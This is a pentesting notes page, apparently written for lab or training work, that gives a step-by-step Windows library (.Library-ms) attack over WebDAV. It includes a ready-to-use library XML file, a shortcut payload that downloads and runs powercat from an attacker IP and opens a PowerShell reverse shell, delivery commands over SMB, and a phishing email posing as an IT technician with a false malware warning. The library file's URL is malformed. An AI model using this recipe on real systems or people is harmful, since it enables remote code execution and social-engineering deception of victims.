Theory

Windows libraries are like folders but they don’t hold any specific space on the disk like a folder does - they are abstract in a sense. My Documents is a library, inside you store data or folders from a list of specified folders and locations on the system. Their extension is .Library-ms and they aer written in XML.

Web Distributed Authoring and Versioning (WebDAV) is a network storage protocol similar to SMB but uses HTTP and HTTPS for communication. You can set-up a WebDAV server on kali with WsgiDAV.

Windows library attack has two sections. First, we create a WebDAV server and deliver a library file to the victim. Second, the user opens it, and sees an .ink shortcut file which they have to click. That shortcut aims at your Python server which hosts a Powercat revshell that you catch with your listener.

Important note: The library file get encoded when executed which can, and likely will break the way it should function. Because of that matter, always consider it as one-time use only.

Attack

Below is a step-by-step guite how to exploit Windows libraries.

  1. Start a WebDAV server with wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/folder/mails/webdav/ - server has to be on port 80.
  2. Open Visual Studio code or Notepad on Windows and create a file named config.Library-ms.
  3. Paste the below code into that file, just edit the <url> part so it aim at your WebDAV server.
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://1v5.170</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
  1. Next create a shortcut file on Windows and in the setup, mention this payload as a location - you can name it “automatic_configuration”.
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.170:1338/powercat.ps1');powercat -c 192.168.45.170 -p 1337 -e powershell"
  1. On your attack host copy Powercat.ps1, start a Python server with it on port 1338, and a listener on port 1337.
  2. Copy automatic_configuration.lnk and config.Library-ms (not a shortcut of it!) files onto your kali system and host it in your webdav server.
  3. Now you can go and deliver the malicious library either via email or by putting it into a SMB share with smbclient //192.168.105.195/share -c 'put config.Library-ms'.

Here’s an example of a phishing email utilizing this exploit - more on the tools can be found in Pentesting/The Grimoire/Concepts/Protocols/SMTP.

sudo swaks --to dave.wizard@supermagicorg.com --from test@supermagicorg.com --server 192.168.146.199 --header "Subject: Download the config file" --body "Hello David, IT technician here, you need to urgently download the configuration file, otherwise your computer will be infected. Here is the URL - http://192.168.45.170/config.Library-ms . Open it and click on the automatic_configuration file, you can also download it from the attachments. Best Regards" --auth LOGIN --auth-user test@supermagicorg.com --auth-password test --attach @/home/kali/folder/mails/webdav/config.Library-ms